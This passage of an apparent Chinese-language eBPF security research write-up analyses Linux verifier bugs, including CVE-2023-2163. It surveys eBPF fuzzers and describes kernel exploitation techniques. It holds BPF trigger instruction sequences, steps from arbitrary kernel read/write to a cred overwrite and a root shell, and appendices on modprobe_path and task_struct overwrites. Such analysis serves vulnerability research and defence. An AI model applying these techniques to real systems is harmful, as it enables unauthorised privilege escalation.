也就是说,当verifier在分析*_OR_NULL类型指针与0的比较时,在其中一条分支中,reg_state->type总会变成SCALAR_VALUE, 其值也会被认为是0。同时,在该条分支中,会同时对所有具有相同id的寄存器做一样的处理。

idreg_state中对寄存器类型进行跟踪的字段,它表示着该寄存器类型的来源,在用户程序对寄存器进行一些操作时,便于verifier更好地对寄存器进行"连坐"式的检查。

举个例子:

1
2
3
4
5
6
7
8
9
10
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0), // r0 是 PTR_TO_MEM_OR_NULL类型指针 值为0(NULL)
// 此时 r1->type = r0->type / r1->id = r0->id
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1), // r1 = 1

// if (r0 != NULL) {}
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
...... // 5 insns
// 这时verfier认为r0->type = SCALAR_VALUE r0->var_off = {0, 0xffffffff}
// 同时verifier发现r1->id = r0->id, 那么在该条分支下,verifier认为
// r1->var_off = r0->var_off, r1->type = r0->type 但在运行时r1的值是1

但由于上述对*_OR_NULL类型限制不全的漏洞,导致在该条分支中,如果一个寄存器的值不是0,那么也会被认为是0,我们可以通过创造这几类指针类型的寄存器,来触发越界读写的漏洞。

首先我们需要准备一个*_OR_NULL类型的寄存器,观察到有bpf_ringbuf_reverse()函数,我们可以通过这个函数去获取PTR_TO_MEM_OR_NULL类型的指针

1
ctx->ringbuf_fd = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)

官方文档对bpf_ringbuf_reverse()函数的介绍:

bpf_ringbuf_reserve() avoids the extra copy of memory by providing a memory pointer directly to ring buffer memory. In a lot of cases records are larger than BPF stack space allows, so many programs have use extra per-CPU array as a temporary heap for preparing sample. bpf_ringbuf_reserve() avoid this needs completely. But in exchange, it only allows a known constant size of memory to be reserved, such that verifier can verify that BPF program can’t access memory outside its reserved record space. bpf_ringbuf_output(), while slightly slower due to extra memory copy, covers some use cases that are not suitable for bpf_ringbuf_reserve().

接下来通过一系列操作创建一个越狱的寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),

我们需要在运行时保证r0一定是NULL——我们在调用bpf_ringbuf_reverse中直接要求申请一个PAGE_SIZE大小的块,因为一个PAGE里面一定是存有一些原始数据的,所以一定是不够分的,所以就一定是返回NULL的。

之后我们就可以去构建任意读写的原语,通过partial overlap操纵一个内核指针来完成一系列提权操作。

漏洞复现流程:(具体细节见Appendix)

  1. 创建 BPF Maps 并泄露内核地址,创建 BPF_MAP_TYPE_ARRAY (通信) 和 BPF_MAP_TYPE_RINGBUF (触发漏洞)。加载 eBPF 程序,利用verifier 和运行时 runtime 的不一致性 verifier bypass,通过 ringbufskb_load_bytes_relative 等操作,从栈上部分覆写数据,最终泄露内核中某个 array_map 的实际地址。
  2. 基于泄露的内核 map 地址和类似的 verifier bypass 技巧,加载新的 eBPF 程序, 将 BPF map 操作(如读/写 map 元素)重定向到任意指定的内核内存地址,从而实现对内核内存的任意读和任意写。
  3. 创建多个子进程,并让它们暂停,使用已获得的任意读能力,在内核中扫描并定位到当前利用程序某个子进程的 cred 结构体(包含 UID, GID 等权限信息)。使用任意写能力,将该 cred 结构体中的 UID, GID, EUID, EGID 等字段修改为 0 (root 权限)。
  4. 唤醒之前暂停的、其 cred 已被修改为 root 的子进程。其中一个子进程执行 system("/bin/sh"),从而以 root 权限启动一个新的 shell。

CVE-2023-2163

漏洞复现环境:

1
bzImage: Linux kernel x86 boot executable bzImage, version 6.3.0-rc6 (root@iZbp1hx3qce738wmtfyf13Z) #3 SMP PREEMPT_DYNAMIC Sun Jun  1 15:30:12 CST 2025, ROA

改漏洞发生于verifier对路径剪枝的逻辑中:(关于寄存器精确标记详见Appendix.E)

我们输入的bpf程序会被verifier进行静态分析,将程序解析成代码块与抽象语法树的形式。

假设我们有如下程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0: (b7) r6 = 1                        // r6 = 1
1: (b7) r7 = 2 // r7 = 2
2: (b7) r8 = 0 // r8 = 0
3: (b5) if r6 == 1 goto pc+2 // if r6 == 1, 跳转到 6
4: (b7) r6 = 0 // r6 = 0
5: (05) goto pc+2 // 跳转到 8
6: (b7) r7 = 0 // r7 = 0
7: (b7) r6 = 0 // r6 = 0
8: (18) r1 = 0xffff888123456789 // r1 = 映射指针 (ks=4, vs=8)
10: (bf) r2 = r10 // r2 = 栈指针
11: (07) r2 += -4 // r2 = r10 - 4
12: (63) *(u32 *)(r10 - 4) = r8 // 栈写入 r8 (0)
13: (85) call bpf_map_lookup_elem#1 // 调用映射查找,r0 = 映射值
14: (55) if r0 != 0x0 goto pc+1 // if r0 非空,跳转到 16
15: (95) exit // 退出
16: (7b) *(u64 *)(r0 + 0) = r6 // 写入 r6 到 r0
17: (95) exit // 退出

verifier将上述程序解析为抽象语法树,并对每个分支做迭代探索与验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Root (指令 0-2)
R6=1, R7=2 (R6: P, R7: 非精确)

指令 3 (if r6 == 1)
├── 跳转到 6 (r6 == 1)
│ 指令 6-7: R6=0, R7=0 (R6: P, R7: 非精确)
│ 指令 8: R6=0, R7=0
│ ↓
│ 指令 14 (if r0 != 0)
│ ├── 跳转到 16: R6=0 → 写入 r0 + 0, 安全
│ └── 退出: 安全
└── 继续到 4 (r6 != 1)
指令 4-5: R6=0, R7=2
指令 8: R6=0, R7=2 (R6: P, R7: 非精确)
[PRUNED: 等价于指令 8 (R6=0, R7=0)]
※ 继续路径:
指令 14-16: R6=0 → 写入 r0 + 0, 安全

但循环遍历所有分支会造成时间复杂度以指数级增长,所以verifier引入了对路径的剪枝pruning

即上述[PRUNED: 等价于指令 8 (R6=0, R7=0)]

verifier检测到5->6->7->8之后的状态与5->8之后的状态是相同的,在检查过5->6->7->8之后就不会再检查5->8的分支,即完成剪枝。

剪枝点(指令 8)

  • 状态比较
    • 旧状态(指令 6-7 路径):R6=0, R7=0(R6: P, R7: 非精确)。
    • 新状态(指令 4-5 路径):R6=0, R7=2(R6: P, R7: 非精确)。
  • 比较逻辑
    • 精确寄存器:R6=0(旧)等于 R6=0(新),匹配。
    • 非精确寄存器:R7=0(旧)与 R7=2(新)不同,但 r7 非精确,验证器忽略差异。

在该漏洞被修复之前,verifier是不会对比较跳转指令做寄存器的精确标记的,但综合前几个CVE我们可以得知,比较指令是可以改变reg_state -> var_off的,比如r9 = 0, if r6 <= r9 ...,那在verifier眼中r6就只能是0。

下面我们考虑这样一个程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0: (b7) r6 = 1024
1: (b7) r7 = 0
2: (b7) r8 = 0
3: (b7) r9 = -2147483648
4: (97) r6 %= 1025
5: (05) goto pc+0
6: (bd) if r6 <= r9 goto pc+2
7: (97) r6 %= 1
8: (b7) r9 = 0
9: (bd) if r6 <= r9 goto pc+1
10: (b7) r6 = 0
11: (b7) r0 = 0
12: (63) *(u32 *)(r10 -4) = r0
13: (18) r4 = 0xffff888103693400 // map_ptr(ks=4,vs=48)
15: (bf) r1 = r4
16: (bf) r2 = r10
17: (07) r2 += -4
18: (85) call bpf_map_lookup_elem#1
19: (55) if r0 != 0x0 goto pc+1
20: (95) exit
21: (77) r6 >>= 10
22: (27) r6 *= 8192
23: (bf) r1 = r0
24: (0f) r0 += r6
25: (79) r3 = *(u64 *)(r0 +0)
26: (7b) *(u64 *)(r1 +0) = r3
27: (95) exit

我们可以画出如下语法树与状态跟踪图:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Root (指令 0-4)
R6=1024, R9=-2147483648
↓ (第 4 行: r6 %= 1025)
指令 6 (if r6 <= r9)
R6=scalar(), R9=-2147483648 (R6: P, R9: 非精确)
├── 分支: 继续到 7 (r6 > -2147483648)
│ 指令 7-8 (r6 %= 1, r9 = 0)
R6=0, R9=0 (R6: P, R9: 非精确)
│ ↓
│ 指令 9 (if r6 <= r9)
R6=0, R9=0 (R6: P, R9: 非精确)
│ ├── 分支: 跳转到 11 (r6 <= 0)
│ │ 指令 11-19
│ │ R6=0, R9=0 (R6: P)
│ │ ↓
│ │ 指令 19 (if r0 != 0x0)
│ │ ├── 分支: 跳转到 21 (r0 != 0)
│ │ │ 指令 21-24 (r6 >>= 10, r6 *= 8192, r0 += r6)
│ │ │ R6=0 (R6: P)
│ │ │ 访问 r0 + 0: 安全
│ │ └── 分支: 退出 (r0 == 0)
│ │ 安全
│ └── 分支: 继续到 10 (r6 > 0)
│ 指令 10 (r6 = 0)
R6=0, R9=0 (R6: P)
│ ↓
│ 指令 11-19 (同上)
│ 访问 r0 + 0: 安全
└── 分支: 跳转到 9 (r6 <= -2147483648)
指令 9 (if r6 <= r9)
R6=scalar(umax=18446744071562067968), R9=-2147483648 (R6: P, R9: 非精确)
[PRUNED: 验证器认为等价于指令 9 的状态 (R6=0, R9=0)]
※ 未探索路径:
├── 分支: 跳转到 11 (r6 <= -2147483648)
│ 指令 11-19
R6=1024 (运行时值), R9=-2147483648
│ ↓
│ 指令 19-24
R6=8192 (1024 >> 10 = 1, 1 * 8192 = 8192)
│ 访问 r0 + 8192: 越界!
└── 分支: 继续到 10 (r6 > -2147483648)
指令 10-24
R6=0
访问 r0 + 0: 安全
image-20250608232602972

图中,白色框表示解析出的正常代码块,旁边是我们定义的该代码块的序号,绿色框是我们特殊标注的分支语句的代码块,粉色框中代码着verfier解析到该代码块时,对该代码块判定的状态

verifier在解析一个语法树时会先按照所有分支False的逻辑进行中序遍历

由图所示,当程序按照绿色线路遍历1->2->3->4->5->6->7->exit->7->8时,在程序下行遍历时verifier记录每个代码块在进入时的寄存器状态组,声明为该代码块的状态,如果该代码块已经存在一个状态,那么就需要通过比较新旧状态的差异来裁决是否需要剪枝(后续讨论),在verifier运行时会有如下输出,流程图中为节省空间,故只标出需要关注的部分。

现在程序按照路径运行到8代码块,检测到了r6被用于和map指针的算数操作,故r6需要被标注为精确,这时backtrack_insn()被调用,上行回溯将每个父节点(代码块)的状态中的r6标记为精确

verifier在寄存器状态组中,r6 = 0 / r6 = scalar()表示r6是非精确的,r6 = P0 / r6 = Pscalar()表示r6是精确的,对寄存器的精确标注通常在前面加一个P来表示。

image-20250608232615823

上图中蓝线表示已经遍历过的路径,红线表示我们讨论的,正在执行的路径

现在程序已经遍历了1->2->3->4->5->6->7->exit->(->7)8->(->7->6->5->4)->6->..., 回溯到2, 开始遍历True路径,此时进入到4中会生成关于4的新状态r6 = scalar(), r9 = -214...verifier判断旧状态是新状态的超集,将当前路径剪枝。

4->new: R1=ctx(off=0,imm=0) R6_w=scalar(umax=18446744071562067968) R7_w=0 R8_w=0 R9_w=-2147483648 R10=fp0.

4->old: R6_rwD=Pscalar() R9_rwD=0 R10=fp0

在新旧状态的比较中,verifier认为Pscalar要比scalar更加精确,并且不关心所有非精确寄存器数值是不是一致的,所以既然在更加严格条件下已经判断了该条代码块下的所有分支是安全的,那在稍微放宽条件的情况下必然安全,即旧状态是新状态的超集verifier会对当前路径进行剪枝。

image-20250604194130520但是我们站在第三方的角度可以明显看出,如果该条路径被剪枝,那么在运行时,就会在r0+=r6时引发越界读写的漏洞。

所以该漏洞实际上发生在寄存器的精确判定的逻辑上,即我们什么时候应该将一个寄存器判定为精确(见Appendix)

我们重新观察3->4->6->7->8这条路径,为什么这条路径可以通过检查——实际上是因为在条件跳转的比较时,r9的值间接影响了verifierr6寄存器的数值判断,即r9=0, if r6 <= r9 then jmp的逻辑,让verifierTrue分支下将r6的值判定为0。

所以该漏洞发生的原因是非精确的寄存器影响了verifier对精确寄存器的数值判断linux在之后的版本中在寄存器的精确标记逻辑中新加了一条,即在条件跳转时,如果一个非精确寄存器和精确寄存器进行比较,那么也会将非精确寄存器标记为精确

在修改后的版本中我们可以看到4->old4->new是不同的,此时在4->newr9被标记为精确:

image-20250604200540447

漏洞利用流程:

  1. 初始化 eBPF 环境,创建 BPF_MAP_TYPE_ARRAY 型映射用于用户态/内核态通信,以及另一辅助 BPF 映射,通过精确构造的 eBPF 指令序列,在运行时触发漏洞(例如,在 skb_load_bytes_relative 等辅助函数调用时,传递被污染或非预期的参数,如被篡改的寄存器 R6 或栈指针),导致对栈或其他内存区域的越界/非预期读操作。

  2. 基于已泄露的内核基址,加载第二阶段的 eBPF 程序。这些程序进一步利用 verifier bypass 技术。通过在 eBPF 程序执行流中篡改指向 BPF map 或其他内核对象的指针,使得 BPF 内建的 map 操作函数(如 map_lookup_elem, map_update_elem)或内存访问指令实际作用于指定的任意内核内存地址,而非其原始目标。最终效果是构建起两个核心原语:从任意内核地址读取数据,以及向任意内核地址写入数据。

  3. 运用已构建的任意内核读原语,在内核地址空间中进行扫描,以定位目标进程的 cred(凭证)结构体。此利用任意内核写原语,将其内部的 uid (用户ID)、gid (组ID)、euid (有效用户ID)、egid (有效组ID) 及相关权能(capabilities)字段覆写为 0 (root 用户的标识符)。

  4. 调用 system("/bin/sh") 继承此 root 权限,从而赋予对系统的完全控制。

image-20250604203807422

这是漏洞发现者给出的容器逃逸的运行结果,但我们并未在本地成功复现,我们只实现了系统级别的提权

好像是qemu里是不允许对init进程动手动脚的?暂时不清楚是为什么,但是我们真的找不到可以复现的ubuntu/debian发行版本...

image-20250604205005425

4 eBPF 自动化漏洞挖掘

这些项目都聚焦于利用 eBPF技术进行自动化漏洞挖掘。ebpf-fuzzer 和 Buzzer 主要测试 eBPF 验证器,BRF 关注运行时,而 bpf-fuzzer 在用户空间操作,各自解决不同的安全挑战。

image-20250607191128339
  1. ebpf-fuzzer
    • 架构与原理:ebpf-fuzzer 是一个开源工具,专门用于模糊测试 Linux 内核中的 eBPF 验证器。它通过模拟大量的 eBPF 程序来检测验证器中的漏洞。它的核心原理是使用 QEMU 作为测试环境,生成自定义的 eBPF 样本程序,并观察这些程序在验证器中的行为。如果验证器出现错误(如无限循环),ebpf-fuzzer 就能捕获这些问题。它依赖于 QEMU 提供的虚拟化环境来模拟复杂的内核行为,确保测试的全面性。
    • 不同点:与其他工具相比,ebpf-fuzzer 特别注重于 eBPF 验证器的测试,而非运行时。它使用 QEMU 提供的虚拟化环境来模拟测试,这使得它在测试复杂的内核行为时更加灵活,适合研究 eBPF 验证器的安全性。
  2. Buzzer
    • 架构与原理:Buzzer 是 Google 开发的开源 eBPF 模糊测试框架,专注于测试 eBPF 验证器的安全性。它通过生成大量的 eBPF 程序(每分钟约 35,000 个)来检测验证器中的逻辑错误。Buzzer 的核心原理是使用一个易用的 eBPF 生成库,支持分布式虚拟机测试(计划中),从而高效地覆盖更多测试场景。它通过快速生成测试用例,确保验证器的鲁棒性。
    • 不同点:Buzzer 的生成能力非常强大,能够快速产生大量测试用例,这使得它在覆盖率和效率上优于 ebpf-fuzzer。另外,它支持分布式测试的设计,使其更适合大规模的安全研究,区别于 ebpf-fuzzer 的单机模拟测试。
  3. BRF(BPF Runtime Fuzzer)
    • 架构与原理:BRF 是一个学术研究项目,专注于模糊测试 eBPF 运行时,而不是验证器。它通过生成符合 eBPF 验证器语义的程序来测试运行时的行为。BRF 的核心原理是使用高效的模糊测试策略,确保生成的 eBPF 程序不仅能通过验证器,还能在运行时执行,从而发现更深层次的漏洞。它通过优化执行效率和代码覆盖率,显著提升了测试能力。
    • 不同点:BRF 与其他工具的最大区别在于它关注 eBPF 运行时,而不是验证器。这使得它能发现验证器无法捕获的运行时错误。同时,BRF 的执行效率和代码覆盖率显著高于 Syzkaller 和 Buzzer,达到了 8 倍和 32 倍的性能提升,适合学术研究和复杂场景测试。
  4. bpf-fuzzer
    • 架构与原理:bpf-fuzzer 是一个在用户空间运行的工具,用于模糊测试 eBPF 验证器。它通过 libfuzzer 和 clang sanitizer 来生成测试用例,并在用户空间中执行测试。它的核心原理是利用用户空间的灵活性,避免了直接操作内核的复杂性,同时使用 sanitizer 检测内存泄漏等错误。它通过生成初始测试用例,覆盖验证器的部分行为,确保测试的全面性。
    • 不同点:bpf-fuzzer 在用户空间操作,这使得它比其他工具更容易部署和使用,不需要直接访问内核。然而,它的测试范围主要限于验证器,且发现的漏洞数量较少(至少 1 个错误),不如其他工具那样高效,适合用户空间的 eBPF 测试。

针对以上四个项目,我们对bpf-fuzzer项目进行详细介绍:

bpf-fuzzer

bpf-fuzzer 是 ioVisor 组织的一个开源项目,旨在通过模糊测试来检测 Linux 内核中的 BPF 验证器的漏洞。BPF 是 Linux 内核的一个子系统,用于在内核空间执行用户提供的程序(如网络过滤器、跟踪器等)。由于 BPF 程序运行在内核中,其安全性至关重要,因此需要通过模糊测试来确保其稳定性和安全性。bpf-fuzzer 的开发背景是应对 eBPF 验证器可能存在的逻辑错误或内存问题,特别是在用户空间进行测试以降低部署复杂性。

image-20250607200527678

bpf-fuzzer 的架构设计使其能够在用户空间运行,减少了对内核直接访问的依赖。其工作流程包括以下几个关键步骤:

  • 使用 libfuzzer(LLVM 的模糊测试库)生成随机的 BPF 程序作为测试用例。这些程序旨在模拟各种可能的输入,以触发验证器的潜在漏洞。
  • 生成的测试用例被传递给 BPF 验证器,验证器会检查这些程序是否符合安全规则(如无无限循环、无非法内存访问等)。如果验证器处理这些程序时出现问题,bpf-fuzzer 会记录这些错误。
  • bpf-fuzzer 集成了 clang sanitizer(内存错误检测工具),用于捕获验证器在处理测试用例时的内存泄漏、缓冲区溢出或其他运行时错误。
  • 项目提供了覆盖率报告,显示其测试覆盖了 BPF 验证器的 886/1106 条边,约 80%

bpf-fuzzer 提供两个主要二进制文件:test_verifier 用于直接测试 BPF 验证器,test_fuzzer 用于生成初始测试用例,支持开发者和研究者在本地环境中进行测试。

bpf-fuzzer用于模糊测试bpf的verifier模块,主要关注生成的恶意程序可不可以通过verifier

我们关注的点在 verifier的代码覆盖率与执行的行为等因素,同时我们知道在内核空间进行fuzz的速度是很慢的,考虑到内核中上下文切换的开销很大,但这些开销和都是我们不关心的事情。

所以该项目把内核函数又在一个库文件里重新hook了一下,现在bpf模块就可以使用我们在用户空间定义的基本函数运行,也就是说我们可以在用户态下进行内核模块的fuzz。

首先生成包含eBPF verifier及其主要函数bpf_check()的源代码(处理宏并包含头文件),写入.i文件,这一步是为了获得 verifier 引用的所有内核符号。生成.i文件的示例:

1
2
3
4
KERNEL_SRC=/path/to/kernel/to/fuzz-test
process_example:
cd $(KERNEL_SRC) && \
make HOSTCC=clang CC=clang kernel/bpf/verifier.i

接着编译每个.i文件并链接到一起,这个过程很复。上一步虽然获得了 verifier 引用的所有的符号声明,但是并未获得所有的定义。例如,已获得kmalloc()函数的定义,但是没有获得该函数的定义。bpf-fuzzer是怎么解决的呢?采用user-space hooks,例如,用用户标准函数malloc()来定义kmalloc(),这两个函数的行为是一样的,BPF verifier不会察觉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void kfree(const void *addr) {
free(addr);
}

void vfree(const void *addr) {
free(addr);
}

void warn_slowpath_fmt(const char *file, int line, const char *fmt, ...) {
}

unsigned long _copy_to_user(void *to, const void *from, unsigned n) {
memcpy(to, from, n);
return 0;
}

5 Appendix

A. 关于bpf_map(Queue and Stack)结构与相关函数

BPF_MAP_TYPE_QUEUEBPF_MAP_TYPE_STACK 在内核版本 4.20 中引入, bpf_map用于在用户空间和内核空间传递信息。BPF_MAP_TYPE_QUEUE 为 BPF 程序提供 FIFO 存储,BPF_MAP_TYPE_STACK 为 BPF 程序提供 LIFO 存储。这些映射支持 peek、pop 和 push 操作,这些操作通过各自的助手暴露给 BPF 程序。这些操作通过以下方式使用现有的 bpf 系统调用暴露给用户空间应用程序

  • BPF_MAP_LOOKUP_ELEM -> peek
  • BPF_MAP_LOOKUP_AND_DELETE_ELEM -> pop
  • BPF_MAP_UPDATE_ELEM -> push

BPF_MAP_TYPE_QUEUEBPF_MAP_TYPE_STACK 不支持 BPF_F_NO_PREALLOC

其中的一些结构和定义如下:

  • bpf_map_push_elem() (内核空间下)
1
long bpf_map_push_elem(struct bpf_map *map, const void *value, u64 flags)

可以使用 bpf_map_push_elem 助手将元素 value 添加到队列或堆栈中。flags 参数必须设置为 BPF_ANYBPF_EXIST。如果 flags 设置为 BPF_EXIST,则当队列或堆栈已满时,将删除最旧的元素,以便为要添加的 value 腾出空间。成功时返回 0,失败时返回负错误。

  • bpf_map_update_elem()(用户空间下)
1
int bpf_map_update_elem (int fd, const void *key, const void *value, __u64 flags)

用户空间程序可以使用 libbpf 的 bpf_map_update_elem 函数将 value 推入队列或堆栈。 key 参数必须设置为 NULLflags 必须设置为 BPF_ANYBPF_EXIST,其语义与 bpf_map_push_elem 内核助手相同。成功时返回 0,失败时返回负错误。

  • bpf_map_lookup_elem() (用户空间下)
1
int bpf_map_lookup_elem (int fd, const void *key, void *value)

用户空间程序可以使用 libbpf bpf_map_lookup_elem 函数查看队列或堆栈头部的 valuekey 参数必须设置为 NULL。成功时返回 0,失败时返回负错误。

在向内核传递的bpf程序中,我们可以通过如下方式来定义一个map

此代码段显示如何在 BPF 程序中声明队列

1
2
3
4
5
struct {
__uint(type, BPF_MAP_TYPE_QUEUE);
__type(value, __u32);
__uint(max_entries, 10);
} queue SEC(".maps");

在用户态空间下,我们也可以用更简单的方法声明一个可用于数据传递和共享的map

1
2
3
4
5
6
7
8
9
int create_queue()
{
return bpf_map_create(BPF_MAP_TYPE_QUEUE,
"sample_queue", /* name */
0, /* key size, must be zero */
sizeof(__u32), /* value size */
10, /* max entries */
NULL); /* create options */
}

B. 关于modprobe_path覆写的内核攻击手法

modprobe_path是用于在Linux内核中添加可加载的内核模块,当我们在Linux内核中安装或卸载新模块时,就会执行这个程序。他的路径是一个内核全局变量,默认为 /sbin/modprobe,可以通过如下命令来查看该值:

image-20250529184622149

modprobe_path存储在内核本身的modprobe_path符号中,且具有可写权限。也即普通权限即可修改该值。

而当内核运行一个错误格式的文件(或未知文件类型的文件)的时候,也会调用这个 modprobe_path所指向的程序。如果我们将这个字符串指向我们自己的sh文件 ,并使用 systemexecve 去执行一个未知文件类型的错误文件,那么在发生错误的时候就可以执行我们自己的二进制文件了。其调用流程如下:

1
2
3
4
5
6
7
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
request_module()
call_usermodehelper()

__request_module的源码中我们也可以看到,最终是执行了modprobe_path指向的程序:

1
2
3
4
5
6
7
8
9
int __request_module(bool wait, const char *fmt, ...) 
{
va_list args;
......
ret = call_usermodehelper(modprobe_path, argv, envp,
wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
atomic_dec(&kmod_concurrent);
return ret;
}

在函数call_usermodehelper中,实际上就会去执行指向的程序, 在内核空间以root权限执行用户指定的程序

1
2
3
4
5
6
7
8
9
10
11
int call_usermodehelper(char *path, char **argv, char **envp, int wait)             
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
EXPORT_SYMBOL(call_usermodehelper);

所以我们在普通用户空间去执行chmod 777 flag的时候肯定是不被允许的,因为我们没有对flag文件的修改权限,但是我们可以覆盖modprobe_path再触发内核modehelper去执行chmod 777 flag, 这样就可以达到攻击的目的。

但在很多时候modprobe_path的符号地址并不会呈现在/proc/kallsyms中,但是request_mudule中有对该符号的引用,我们可以通过在request_module打断点来查看modprobe_path的地址~

C. 关于task_struct覆写的内核攻击手法

fork进程/线程时,copy_process()会给此线程alloc一个struct pid结构体。当是fork进程/线程时,copy_process()pid参数将是null,所以会call alloc_pid()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static __latent_entropy struct task_struct *copy_process(
unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *child_tidptr,
struct pid *pid,
int trace,
unsigned long tls,
int node)
{
if (pid != &init_struct_pid) {
pid = alloc_pid(p->nsproxy->pid_ns_for_children);
if (IS_ERR(pid)) {
retval = PTR_ERR(pid);
goto bad_fork_cleanup_thread;
}
}

在内核中,ksymtab保存着init_pid_ns结构的偏移,而kstrtab则保存着init_pid_ns的字符串。通过GDB调试可以观察到这一过程:

image-20250529190630046

查找的核心思路是首先通过搜索"init_pid_ns"字符串来获得kstrtab_init_pid_ns的地址。检查某个地址加上该地址处的四个字节偏移值是否等于kstrtab_init_pid_ns的地址,这样可以判断是否为ksymtab_init_pid_ns。找到的地址实际上是ksymtab_init_pid_ns+4,因此需要减去4才能得到真正的ksymtab_init_pid_ns地址。最终通过ksymtab_init_pid_ns地址加上其中保存的init_pid_ns结构偏移,就能获得init_pid_ns结构的实际地址。

一旦获得了pid和init_pid_ns,就需要通过它们查找对应进程的task_struct。这个过程实际上是在模拟内核的查找机制。内核使用find_task_by_pid_ns函数来实现这一功能:

1
2
3
4
struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)
{
return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID);
}

这个函数的参数nr是当前进程的pid,ns是init_pid_ns结构地址。函数内部首先调用find_pid_ns来查找对应的pid结构,然后通过pid_task获取最终的task_struct。

find_pid_ns函数进一步调用了idr_find函数,这里需要获取idr字段的内容。idr_find的实现相对简单,它调用radix_tree_lookup函数在基数树中进行查找:

1
2
3
4
void *idr_find(const struct idr *idr, unsigned long id)
{
return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base);
}

这里需要注意两个关键参数:idr_rt和idr_base。

基数树查找是整个过程中最复杂的部分。__radix_tree_lookup函数实现了核心的查找逻辑。函数首先将root->xa_head的值赋给node变量,然后进入循环查找过程。在循环中,通过radix_tree_descend函数不断向下搜索,直到找到目标进程的node。

1
2
3
4
5
6
7
8
static unsigned int radix_tree_descend(const struct radix_tree_node *parent, 
struct radix_tree_node **nodep, unsigned long index)
{
unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK;
void __rcu **entry = rcu_dereference_raw(parent->slots[offset]);
*nodep = (void *)entry;
return offset;
}

radix_tree_descend函数通过读取parent->shift的值并与0x3f进行与运算来计算偏移,然后获取parent->slots[offset]作为下一个node。当parent->shift为0时,说明已经找到了当前进程的node,此时退出循环。

获得当前进程的node后,需要通过pid_task函数获取相应的task_struct。这个函数使用PIDTYPE_PID作为类型参数,其值为0。

1
2
3
4
5
6
7
8
9
10
11
12
struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
struct task_struct *result = NULL;
if (pid) {
struct hlist_node *first;
first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]),
lockdep_tasklist_lock_is_held());
if (first)
result = hlist_entry(first, struct task_struct, pid_links[(type)]);
}
return result;
}

函数首先获取pid->tasks[0]的内容,这里的first实际上是pid_links[0]的地址。通过hlist_entry宏,可以从这个地址反推出task_struct的起始地址。相关的结构字段偏移可以通过GDB查看,task_struct中pid_links[0]的偏移为0x500,而pid结构中tasks[0]的偏移为0x8。

整个查找过程完成后,就能够定位到task_struct中cred字段的位置,从而实现对进程凭证的访问和操作。这一机制在内核利用开发中具有重要意义,因为它揭示了内核如何组织和管理进程信息的内部结构。

image-20250529185935192

D. 关于map_get_next_key触发任意地址写

首先我们知道map_push_elem的函数声明:

1
long bpf_map_push_elem(struct bpf_map *map, const void *value, u64 flags)

可以使用 bpf_map_push_elem 助手将元素 value 添加到队列或堆栈中。flags 参数必须设置为 BPF_ANYBPF_EXIST。如果 flags 设置为 BPF_EXIST,则当队列或堆栈已满时,将删除最旧的元素,以便为要添加的 value 腾出空间。成功时返回 0,失败时返回负错误。

我们再来看一下map_get_next_key的函数实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)   
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;

if (index >= array->map.max_entries) { //index
*next = 0;
return 0;
}

if (index == array->map.max_entries - 1)
return -ENOENT;

*next = index + 1;
return 0;
}

如果我们将map_push_elem的指针覆盖为map_get_next_key就会有:

  • map = map
  • value = key
  • flags = next_key

这样在执行*next = next_key时,实际上就是将next = flags, 同时注意到index = *key, *key即是bpf_map中的value[0], keybpf_map中首个键值对中值的地址。

当执行到*next = index + 1时,实际上就是*flags = value[0] + 1 这样这要我们在输入的时候控制flags的值为我们想要写的地址,value[0]bpf_map中可控的值,我们就可以触发内核空间任意地址写。

需要注意,bpf_map调用map_push_elem的前提是map的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK, 在触发该漏洞之前必须通过其他手段更改map的类型字段。

